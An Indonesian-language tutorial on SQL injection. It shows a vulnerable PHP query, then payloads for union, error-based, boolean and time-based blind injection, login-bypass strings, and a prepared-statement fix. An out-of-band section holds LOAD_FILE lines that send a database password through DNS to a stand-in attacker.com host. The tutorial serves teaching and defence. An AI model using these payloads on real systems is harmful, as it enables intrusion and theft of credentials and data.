Pelajari SQL Injection dari dasar: Union-based, Error-based, Boolean Blind, Time Blind, hingga Out-of-band SQLi. Dilengkapi payload SQL dan cara pencegahannya.
SQL Injection (SQLi) adalah kerentanan keamanan yang memungkinkan penyerang mengintervensi query SQL yang dibuat aplikasi ke database. Penyerang bisa melihat, mengubah, atau menghapus data sensitif. SQLi masih menjadi salah satu ancaman teratas di OWASP Top 10 karena dampaknya yang sangat besar.
SQL Injection terjadi ketika input pengguna langsung digabungkan ke query SQL tanpa sanitasi. Contoh kode PHP rentan:
$id = $_GET["id"];
$query = "SELECT * FROM products WHERE id = " . $id;
$result = mysqli_query($conn, $query);Jika penyerang mengirimkan 1 OR 1=1 sebagai id, query menjadi: SELECT * FROM products WHERE id = 1 OR 1=1 yang mengembalikan SEMUA data.
Union-Based: Menggunakan UNION SELECT untuk menggabungkan hasil query asli dengan query penyerang.
1 UNION SELECT username, password FROM users--
1 UNION SELECT NULL, table_name FROM information_schema.tables--
1 UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name="users"--Error-Based: Memaksa database menghasilkan error berisi informasi sensitif.
1 AND extractvalue(1, concat(0x7e, (SELECT database())))--
1 AND updatexml(1, concat(0x7e, (SELECT @@version)), 1)--Boolean-Based Blind: Mengirim query yang menghasilkan TRUE/FALSE dan menganalisis perbedaan respons.
1 AND SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1) = "a"
1 AND (SELECT COUNT(*) FROM users) > 10Time-Based Blind: Menggunakan fungsi delay untuk menentukan apakah kondisi TRUE.
1 AND IF(SUBSTRING((SELECT database()),1,1)="a", SLEEP(5), 0)
1; IF((SELECT COUNT(*) FROM users)>10, SLEEP(5), 0)--Menggunakan fitur database untuk mengirim data via DNS/HTTP ke server penyerang. Cocok saat hasil tidak terlihat di respons.
1; LOAD_FILE("\\attacker.com\\data")
1; SELECT LOAD_FILE(CONCAT("\\", (SELECT password FROM users LIMIT 1), ".attacker.com\\x"))Serangan paling klasik pada form login:
admin" OR "1"="1"--
admin" -- -
" OR 1=1 LIMIT 1 -- -
' UNION SELECT 1, "admin", "password" -- -$stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email");
$stmt->execute(["email" => $email]);SQLMap adalah tools otomatis untuk deteksi dan eksploitasi SQLi. Dapat mengidentifikasi jenis database, dump tabel, hingga mendapatkan shell akses.